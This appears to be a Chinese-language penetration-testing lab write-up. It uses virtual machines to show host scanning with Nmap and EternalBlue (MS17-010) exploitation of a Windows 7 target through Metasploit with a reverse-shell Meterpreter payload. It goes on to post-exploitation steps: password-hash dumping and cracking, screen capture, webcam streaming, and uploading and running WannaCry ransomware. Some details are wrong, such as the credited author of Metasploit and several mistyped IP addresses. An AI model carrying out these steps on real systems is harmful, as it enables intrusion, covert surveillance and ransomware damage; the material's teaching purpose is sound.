知識點:SMB漏洞介紹、漏洞復現流程、勒索病毒攻擊與防護
滲透測試相關:
基本概念:
滲透測試就是利用我們所掌握的滲透知識,對網站進行一步一步的滲透,發現其中存在的漏洞和隱藏的風險,然后撰寫一篇測試報告,提供給我們的客戶。客戶根據我們撰寫的測試報告,對網站進行漏洞修補,以防止黑客的入侵!
相關階段如下:范圍界定—>信息搜集—>目標識別—>服務枚舉(爆破—>漏洞映射—>社會工程學(撞庫))—>漏洞利用—>權限提升—>訪問維護—>文檔報告
滲透測試分為 白盒測試 和 黑盒測試
白盒測試就是在知道目標網站源碼和其他一些信息的情況下對其進行滲透,有點類似于代碼分析
黑盒測試就是只告訴我們這個網站的url,其他什么都不告訴,然后讓你去滲透,模擬黑客對網站的滲透
信息獲取階段:
IP地址:在不同的操作系統中,獲取IP地址的方法各有不同。以下是一些常見操作系統中獲取IP地址的基本命令:
-
Windows:
- 打開命令提示符(cmd)或PowerShell。
- 輸入?
ipconfig
?命令,這將列出所有網絡適配器的IP地址。
-
macOS 和 Linux:
- 打開終端。
- 輸入?
ifconfig
?或?ip addr
命令,這將顯示所有網絡接口及其IP地址。
上圖為Win11操作系統下:IPv4 地址是本機在局域網中使用的地址,用于局域網內的設備通信,表示本機地址為172.16.130.128
這些信息表明,該設備(用戶名為zhaoheqian)正在使用Kali Linux操作系統,并且至少有一個以太網接口eth0連接到局域網中。IPv4地址172.16.130.129是動態分配的,并且有一個本地回環地址127.0.0.1用于本機內部通信。IPv6地址是鏈路本地地址,用于局域網內的設備自動配置地址。
使用ping命令可以鏈接對方主機(此處的win與kali均為虛擬機演示),例如用Windows去ping 172.16.130.129(Linux機地址)可以連通,反之也可,從回顯信息中還可以看出一些其他信息,在此處暫時不做過多介紹。
NMAP掃描器:
手動識別工作量大且效率低,所以我們引入了NMAP漏洞掃描器
Nmap(Network Mapper)是一款功能強大的網絡掃描工具,它被廣泛用于網絡發現和安全審核。以下是Nmap的一些主要功能和使用方式:
1. **主機發現**:Nmap可以通過發送網絡探測包來確定網絡中活躍的主機,這有助于識別哪些IP地址上有活動的設備。
2. **端口掃描**:Nmap可以掃描目標主機的開放端口,幫助確定哪些服務正在運行。它支持多種掃描技術,例如TCP掃描、UDP掃描、SYN/ACK掃描等。
3. **服務識別**:Nmap能夠識別目標主機上運行的具體服務和應用程序的版本號,這有助于了解可能存在的漏洞和弱點。
4. **操作系統檢測**:Nmap嘗試檢測目標主機的操作系統類型和版本,為滲透測試提供信息。
5. **腳本掃描**:Nmap支持腳本掃描,允許用戶執行自定義腳本以進行深入的信息收集和安全審計。
6. **版本檢測**:Nmap可以檢測目標系統上運行的服務的版本信息,有助于確定可能存在的已知漏洞和安全問題。
7. **輸出格式**:Nmap可以生成多種輸出格式,包括文本、XML、JSON等,便于進一步分析和報告。
在使用Nmap時,應該遵循適用的法律和道德準則,確保合法和合規的使用。例如,進行快速掃描可以使用命令 `nmap <IP地址>`,而掃描存活主機但不掃描端口可以使用 `nmap -sP <IP地址>/<子網掩碼>`。
Nmap的使用非常靈活,它提供了多種參數和選項來定制掃描過程,例如使用 `-p` 參數來指定端口,或者使用不同的掃描技術如 `-sS`(TCP SYN掃描)和 `-sT`(TCP connect掃描)。
此外,Nmap還具備繞過防火墻和欺騙技術,例如使用 `-D` 參數來掩蓋真實IP地址,或者使用 `--spoof-mac` 來偽裝MAC地址。
nmap -sP //用ping掃描主機是否存活,只有主機存活,nmap才會繼續掃描
nmap -p //掃描端口,通過端口去確定服務
nmap查看主機是否存活
現在我們來逐步分析這些地址:
127.16.130.1表示我們本機,不用理會
127.16.130.2表示網關,同樣不用理會
127.16.130.254是自帶的,不用理會
除去這三個,還剩下一個129,一個128,我們Linux虛擬機是129,所以我們推測,還有一臺主機地址為128(上一步我們也確實驗證了Win系統的ip為128),這便是我們展開攻擊的第一步:推測ip地址
這是在虛擬機模擬的情況,現實中很可能遠遠不止一臺主機,那么在現實中,我們就需要一個一個的去測試ip,接下來,再來看看如何去測試我們的“懷疑目標”。
nmap掃描端口
進行Ping掃描
查看端口和共享
網絡連接狀態 (netstat -an
)
-
監聽端口:
- 系統上有幾個端口正在監聽狀態(LISTENING),這表明有服務正在等待連接。這些端口包括:
- 80:通常用于HTTP服務。
- 135:用于遠程過程調用(RPC)。
- 443:通常用于HTTPS服務。
- 445:用于SMB(Server Message Block)協議,可能與文件共享和“永恒之藍”漏洞相關。
- 3306:通常是MySQL數據庫服務的默認端口。
- 5040:可能與某些應用程序的遠程管理相關。
- 7680:可能是某個特定應用程序的自定義端口。
- 49664、49665、49666、49667、49669、49672:這些看起來像是隨機或特定應用程序使用的高端口號。
- 系統上有幾個端口正在監聽狀態(LISTENING),這表明有服務正在等待連接。這些端口包括:
-
本地回環地址(Loopback):
- 127.0.0.1:本地回環地址,用于本機內部通信。有幾個TCP連接在本地地址之間建立(ESTABLISHED),這可能是系統服務或應用程序的內部通信。
-
外部連接:
- 172.16.130.128:139:在端口139上監聽,這是用于NetBIOS會話服務的端口,可能與文件和打印共享相關。
- 有多個TIME_WAIT狀態的連接,這表明之前與外部地址(如123.6.53.19和60.6.194.138)的TCP連接已經完成,但系統仍在等待足夠的時間以確保所有重復的連接請求都已超時。
網絡共享資源 (net share
)
-
默認共享:
C$
:默認的C盤共享,通常用于管理員遠程訪問。D$
:默認的D盤共享,如果存在D盤的話。
-
特殊共享:
ADMIN$
:允許遠程管理訪問C:\Windows目錄。IPC$
:Inter-Process Communication,用于進程間通信。
-
共享資源:
- 顯示了共享名、資源路徑和注解。例如,
C:
?表示C盤的默認共享,通常用于文件共享
- 顯示了共享名、資源路徑和注解。例如,
通過以上我們得知,我們磁盤上的資源其實通過網絡已經全部默認共享出去了,這也是為什么永恒之藍破壞性巨大,雖然經過這么多年的改善,后續的windows系統已經對永恒之藍有了一定抵抗性,但我們并不能因此掉以輕心。
惡意病毒:
"永恒之藍"(EternalBlue)是一個在2017年被泄露的微軟Windows操作系統的網絡漏洞利用工具。它最初是由美國國家安全局(NSA)開發,作為其網絡武器庫的一部分。EternalBlue利用了Windows操作系統中的SMB(Server Message Block)協議的漏洞,允許攻擊者在無需用戶交互的情況下遠程執行代碼。
以下是關于"永恒之藍"的一些關鍵點:
1. **漏洞編號**:CVE-2017-0144
2. **影響系統**:主要影響Windows操作系統,包括Windows Vista、Windows 7、Windows 8.1和Windows 10等版本。
3. **漏洞原理**:SMB協議在處理特定類型的網絡數據包時存在內存管理缺陷,攻擊者可以利用這一點來執行任意代碼。
4. **泄露情況**:2017年4月,一個名為“影子經紀人”(Shadow Brokers)的黑客組織泄露了NSA的多個網絡武器,其中就包括EternalBlue。
5. **利用情況**:EternalBlue被用于2017年5月的“WannaCry”勒索軟件攻擊,這是一次全球性的網絡攻擊事件,影響了超過150個國家的數十萬臺計算機。
6. **防護措施**:微軟在漏洞被公開后不久就發布了安全補丁,用戶應確保操作系統及時更新,安裝所有安全補丁。
"永恒之藍"是一個經典的0 day漏洞,給用戶安全造成了巨大損失
MSF使用:
MSF通常指的是Metasploit Framework(簡稱Metasploit),這是一個開源的漏洞利用框架,由Raphael Mudge創建,目前由Rapid7公司維護。Metasploit Framework是網絡安全專業人員和滲透測試人員廣泛使用的工具,用于識別、開發和執行漏洞利用代碼。
以下是Metasploit Framework的一些關鍵特點:
1. **模塊化設計**:MSF采用模塊化架構,包括漏洞模塊、有效載荷(Payloads)、編碼器(Encoders)、NOP生成器等。
2. **漏洞利用**:MSF擁有大量的漏洞利用模塊,可以針對不同操作系統和應用程序的已知漏洞進行攻擊。
3. **跨平臺**:Metasploit Framework支持多個操作系統,包括Windows、Linux、macOS等。
4. **腳本語言**:MSF使用Ruby語言編寫,易于擴展和定制。
5. **數據庫集成**:MSF可以與數據庫系統集成,用于存儲攻擊數據、會話信息和漏洞信息。
6. **自動化**:MSF支持自動化的漏洞掃描和利用過程,可以快速識別和利用目標系統的弱點。
7. **社區支持**:Metasploit擁有一個活躍的社區,不斷有新的漏洞模塊和有效載荷被添加到框架中。
8. **合法使用**:Metasploit Framework是一個合法的工具,應在授權的滲透測試和安全評估中使用,未經授權使用MSF進行攻擊是違法的。
9. **教育和研究**:MSF也是教育和研究網絡安全的好工具,幫助學生和研究人員了解漏洞利用的工作原理。
10. **兼容性**:MSF與其他安全工具和框架兼容,可以作為更大安全解決方案的一部分。
Metasploit Framework是一個強大的工具,但它需要具備一定的技術知識和對網絡安全的深刻理解。使用MSF時,必須遵守法律法規,確保在授權的范圍內使用。
1)kali中使用msfconsole開啟msf,看到圖標后表示開啟成功
-
開啟圖標可能不同,均為正常啟動???????
2)成功運行msf后,我們就可以從中找出一些有用的參考信息:
1. **用戶和主機信息**:
? ?- `zhaohegian@kali: - 102x24` 表示當前登錄的用戶是 `zhaohegian`,使用的主機是 `kali`,而 `- 102x24` 表示終端窗口的大小是102行24列。
2. **命令行提示符**:
? ?- `: $` 表示當前用戶是普通用戶(沒有root權限),`$` 是普通用戶的命令行提示符。
3. **Nmap命令**:
? ?- `nmap -os` 可能是之前執行的命令,用于檢測目標系統的操作系統。但該命令在截圖中不完整,可能是被截斷或未執行。
4. **Metasploit Framework版本信息**:
? ?- `metasploit v6.3.55-dev` 顯示當前運行的Metasploit Framework的版本是6.3.55,是一個開發版本。
5. **模塊統計信息**:
? ?- `2397 exploits - 1235 auxiliary - 422 post` 表示Metasploit中包含2397個漏洞利用模塊、1235個輔助模塊(POC)和422個后期利用模塊。
? ?- `1388 payloads - 46 encoders - 11 nops` 表示有1388個攻擊載荷(反彈shell,爆破等)、46個編碼器和11個NOP滑梯。
6. **規避技術**:
? ?- `9 evasion` 表示有9種規避技術可用于繞過某些安全機制。
7. **Metasploit文檔鏈接**:
? ?- `Metasploit Documentation: https://docs.metasploit.com/` 提供了Metasploit的官方文檔鏈接,供用戶查閱更多信息。
8. **Metasploit命令提示符**:
? ?- `msf6 >` 是Metasploit的命令提示符,表示Metasploit已經啟動并等待用戶輸入命令。
3)search ms17-010(MS17-010即我們之前提到的永恒之藍漏洞編號) 搜索漏洞編號,查詢關于該漏洞的相關模塊
使用Metasploit Framework(MSF)進行模塊搜索的結果,特別是針對“ms17-010”這個漏洞的模塊。以下是對搜索結果的分析:
1. **模塊列表**:搜索結果顯示了幾個與MS17-010漏洞相關的Metasploit模塊。
2. **模塊詳情**:
? ?- **Name**:模塊的名稱。
? ?- **Disclosure Date**:漏洞公開的日期。
? ?- **Rank**:模塊的等級,通常表示其穩定性和可靠性。等級有average(平均)、normal(正常)、great(優秀)等。
? ?- **Check**:表明模塊是否具備檢測目標系統是否易受攻擊的能力。
? ?- **Description**:模塊的簡短描述。
3. **具體模塊**:
? ?- **0 exploit/windows/smb/ms17_010_eternalblue**:這是利用MS17-010漏洞的EternalBlue攻擊模塊,等級為“average”,具備檢測能力。
? ?- **1 exploit/windows/smb/ms17_010_psexec**:這是利用MS17-010漏洞進行遠程代碼執行的模塊,包括EternalRomance、EternalSynergy和EternalChampion,等級為“normal”,具備檢測能力。
? ?- **2 auxiliary/admin/smb/ms17_o1o_command**:這是一個輔助模塊,用于在利用MS17-010漏洞后執行遠程命令,等級為“normal”,不具備檢測能力。
? ?- **3 auxiliary/scanner/smb/smb_ms17_010**:這是一個掃描模塊,用于檢測SMB遠程代碼執行漏洞,等級為“normal”,不具備檢測能力。
? ?- **4 exploit/windows/smb/smb_doublepulsar_rce**:這是利用SMB DOUBLEPULSAR的遠程代碼執行模塊,等級為“great”,具備檢測能力。
4. **使用方式**:您可以使用模塊名稱或索引號與模塊交互。例如,要獲取更多關于索引號4的模塊信息,可以使用命令`info 4`,或者直接使用模塊路徑`use exploit/windows/smb/smb_doublepulsar_rce`。
5. **注意事項**:
? ?- 使用這些模塊時,您應該確保有適當的權限和授權,因為它們可能被用于滲透測試或攻擊性安全測試。
? ?- 這些模塊針對的是老舊且未打補丁的系統,因此,對于已經更新和修補了MS17-010漏洞的系統,這些模塊將不會有效。
6. **MS17-010**:這是一個嚴重的Windows SMB服務漏洞,曾被利用于WannaCry勒索軟件攻擊。它允許攻擊者在遠程Windows系統上執行任意代碼。
4)開始驗證掃描
使用 search
命令搜索特定的漏洞或模塊,例如 search ms17_010
來查找與MS17-010漏洞相關的模塊
msf6 > search ms17-010
根據搜索結果,選擇一個適合的模塊。使用 use
命令來加載模塊,例如:
msf6 > use exploit/windows/smb/ms17_010_psexec或者 use auxiliary/scanner/smb/smb_ms17_010
或者使用模塊的索引號,例如:
use 0
use 4
以下是對當前Metasploit Framework(MSF)會話的分析:
1. **模塊使用**:
? ?- 用戶選擇了索引為0的模塊,根據之前的信息,該模塊是`exploit/windows/smb/ms17_010_eternalblue`,用于利用MS17-010漏洞。
2. **模塊默認配置**:
? ?- 模塊沒有配置有效載荷(payload),因此默認使用了`windows/x64/meterpreter/reverse_tcp`,這是一個Windows 64位系統的Meterpreter反向TCP有效載荷。
3. **模塊選項**:
? ?- 顯示了模塊的當前配置選項,包括:
? ? ?- `RHOSTS`:需要設置的目標主機,目前尚未設置。
? ? ?- `RPORT`:目標端口設置為445,這是SMB服務的默認端口。
? ? ?- `SMBDomain`:可選的Windows域,用于認證。
? ? ?- `SMBPass`:指定用戶名的密碼,目前未設置。
? ? ?- `SMBUser`:用于認證的用戶名,目前未設置。
? ? ?- `VERIFY_ARCH`和`VERIFY_TARGET`:這兩個選項當前設置為`true`,表示模塊會在嘗試利用之前驗證遠程架構和操作系統是否與目標匹配。
我們可以在這里設置我們要進行滲透攻擊的主機地址,在這里我重新選擇了一個版本較低的win系統(因為經過測試,win11系統已經克服了許多漏洞,不利于實驗展示,所以我們這里選擇win7,原理是一樣的)
使用永恒之藍攻擊虛擬機,這里顯示沒有payload,默認幫我們安裝了一個,可以手動設置payload,這里默認為反彈shell
安裝好payload后,LHOST為本機,LPORT為4444,即默認監聽,反彈shell,這兩個屬性同樣可以使用set設置。
這里我們run一下,從回顯中讀到了“VULNERABLE”這個詞,這表明我們所攻擊的主機是脆弱的,可攻擊的。
如果攻擊成功,靶機會和目標主機之間建立一個連接,后續命令變為meterpreter,即在此時,我們已經取得了目標主機的權限,可以使用各種命令去查看目標主機的信息,如使用ipconfig查看目標主機的地址信息等。注意此時,我們的命令應變為Windows的cmd下的命令格式,shell已經成為win系統。
這樣,我們就可以執行諸多操作,上傳,下載文件等等等等。使用hashdump甚至可以獲得哈希函數加密后的用戶密碼。(可以進行解密,哈希加密并非完全不可逆)
???????
后滲透
后滲透活動通常涉及在成功滲透目標系統后的一系列行動,目的是維持訪問權限、收集信息或進一步控制系統。
1. **提升權限** (`getuid`):
? ?- 這個命令用于在成功滲透后提升權限到系統最高權限,通常是管理員權限。
2. **轉儲密碼哈希** (`hashdump`):
? ?- 使用此命令可以轉儲Windows系統中存儲的密碼哈希值,這可以用于離線破解密碼。
3. **破解NTLM哈希值**:
? ?- 文檔提到了使用在線服務(如www.cmd5.com)來嘗試破解獲取的NTLM哈希值。
4. **截取屏幕** (`screenshot`):
? ?- 通過這個命令可以截取目標系統的屏幕,以收集視覺信息。
5. **訪問攝像頭** (`webcam_list`, `webcam_stream`):
? ?- `webcam_list` 可以列出目標系統上所有可用的攝像頭設備。
? ?- `webcam_stream` 可以啟動對指定攝像頭的實時視頻流。
6. **查看文件** (`cat`):
? ?- 使用類似Unix的 `cat` 命令來查看目標系統上特定文件的內容,例如 `cat d:123.txt` 會顯示該文本文件的內容。
7. **勒索病毒操作**:
? ?- 文檔描述了勒索病毒的操作流程,包括解壓病毒文件、上傳到目標系統并執行。這通常涉及以下步驟:
? ? ?- 解壓勒索病毒工具包。
? ? ?- 使用 `upload` 命令將病毒程序上傳到目標系統。
? ? ?- 使用 `execute -f wcry.exe` 執行上傳的勒索病毒程序,或者通過已獲取的shell啟動病毒程序。
8. **執行命令** (`execute`):
? ?- 使用 `execute` 命令在目標系統上執行特定的程序或命令。
9. **獲取Shell**:
? ?- 如果已經獲得了目標系統的shell訪問權限,可以直接在shell環境中執行命令。